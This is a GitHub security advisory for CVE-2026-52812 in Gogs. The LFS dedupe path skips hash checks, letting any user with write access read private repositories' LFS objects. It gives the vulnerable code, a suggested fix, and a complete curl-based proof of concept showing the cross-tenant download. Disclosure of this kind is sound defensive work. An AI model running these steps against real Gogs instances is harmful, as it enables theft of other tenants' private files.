GitHub Advisoryadvisory · Go
GHSA-6p9m-q3jp-47h4 Gogs: LFS dedupe path leaks private repo content across tenants
HIGH
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- Aliases
- CVE-2026-52812
- Ecosystem
- Go
- Packages
- gogs.io/gogs
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
- Weaknesses
- CWE-345, CWE-639, CWE-862
- Reviewed
- 2026-06-23
Affected packages
• Go gogs.io/gogs: < 0.14.3 → fixed in 0.14.3
Description
Summary
Git LFS storage is content-addressed by OID alone (`///`) but per-repo authorization lives in the `lfs_object` table keyed `(repo_id, oid)`. `serveUpload` skips re-uploading when the OID file already exists on disk and inserts a new `(repo_id, oid)` row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.
Details
Dedupe shortcut at `internal/lfsx/storage.go:79-82`:
```go
if fi, err := os.Stat(fpath); err == nil {
_, _ = io.Copy(io.Discard, rc)
return fi.Size(), nil // ← returns success with no hash check
}
```
Hash verification at `internal/lfsx/storage.go:106-108` only runs in the *new-file* branch — the dedupe path returns earlier.
`serveUpload` (`internal/route/lfs/basic.go:78-114`) trusts that success and inserts the per-repo binding:
```go
_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid) // per-repo
if err == nil { /* already linked, drain & return 200 */ }
written, err := s.Upload(oid, c.Req.Request.Body)
err = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())
```
`CreateLFSObject` is an unconditional `INSERT` on `(repo_id, oid)` with no check that the OID is referenced by the requesting repo's git history.
`serveDownload` at `internal/route/lfs/basic.go:42-72` only consults the per-repo row, then streams from the shared content-addressed file.
Suggested fix
1. In `LocalStorage.Upload`, when `os.Stat(fpath) == nil`, hash the request body via `io.TeeReader` and `ErrOIDMismatch` on disagreement — same code path as the new-file branch already uses. The "client retries after partial failure" use case still works; the retry just has to send the correct content.
2. Optional second layer: in `serveUpload`, refuse `CreateLFSObject` unless the OID is referenced by an LFS pointer in the requesting repo's refs.
PoC
Tested against gogs at HEAD `d7571322` (also reproduces on `v0.14.2`, paths are `internal/lfsutil/storage.go` and identical logic).
Reproduction prerequisites
• Running gogs ≥ 0.12.0 with `[lfs] ENABLED = true`.
• Two accounts: `alice` (private repo `secrets`) and `bob` (any repo `bob/scratch`); bob has no access to `alice/secrets`.
• An OID known to be present in `alice/secrets` — leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).
Setup (testbed simulation of the victim's prior state)
```sh
GOGS=https://gogs.example
ALICE_AUTH='-u alice:alice_password'
BOB_AUTH='-u bob:bob_password'
VICTIM_BYTES='victim secret content'
OID=$(printf %s "$VICTIM_BYTES" | sha256sum | cut -d' ' -f1)
SIZE=$(printf %s "$VICTIM_BYTES" | wc -c)
After this, file lives at ///
and (alice/secrets, OID) row exists in lfs_object.
printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \
-H 'Content-Type: application/octet-stream' \
-X PUT --data-binary @- \
"$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID"
```
Attack — bob has only `$OID`, not `$VICTIM_BYTES`
```sh
unset VICTIM_BYTES # attacker has no idea what the file contains
1. Confirm bob has no claim on $OID.
curl -sS $BOB_AUTH \
-H 'Accept: application/vnd.git-lfs+json' \
-H 'Content-Type: application/vnd.git-lfs+json' \
-X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \
--data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
→ "actions":{"error":{"code":404,"message":"Object does not exist"}}
2. PUT garbage to bob's LFS endpoint. The on-disk OID file already exists
so LocalStorage.Upload takes the dedupe shortcut: drains the body
without hashing, returns alice's size; CreateLFSObject inserts (bob, OID).
curl -sS $BOB_AUTH \
-H 'Content-Type: application/octet-stream' \
-X PUT --data-binary 'irrelevant attacker-controlled bytes' \
"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID"
→ HTTP/1.1 200 OK
3. Download via bob's repo — gogs streams alice's bytes.
curl -sS $BOB_AUTH "$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" -o /tmp/leaked
cat /tmp/leaked
→ victim secret content
sha256sum /tmp/leaked | cut -d' ' -f1
→ matches $OID exactly
```
Independent confirmation against the source
```sh
git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322
sed -n '63,114p' internal/lfsx/storage.go # dedupe at 79-82, hash check at 106 only in new-file branch
sed -n '74,117p' internal/route/lfs/basic.go # serveUpload calls CreateLFSObject regardless of dedupe path
grep -n 'primaryKey' internal/database/lfs.go # composite (RepoID, OID) PK — multiple repos can share an OID row
```
Impact
• Cross-tenant disclosure of any LFS object on the instance. Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation.
• LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers — all extracted byte-for-byte.
• Persistent: the `(bob/scratch, OID)` row pins read access until manually deleted; removing bob's repo write access does not revoke prior binds. No artefact on victim's side beyond a 200 in the LFS access log.
Related
Alias · CVE (1)
- CVE-2026-52812 Gogs is an open source self-hosted Git service. vulnerability
References
- https://github.com/gogs/gogs/security/advisories/GHSA-6p9m-q3jp-47h4 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-52812 advisory
- https://github.com/gogs/gogs/pull/8333 web
- https://github.com/gogs/gogs/commit/f35a767af74e05342bafc6fdda02c791816426f8 web
- https://github.com/gogs/gogs package
- https://github.com/gogs/gogs/releases/tag/v0.14.3 web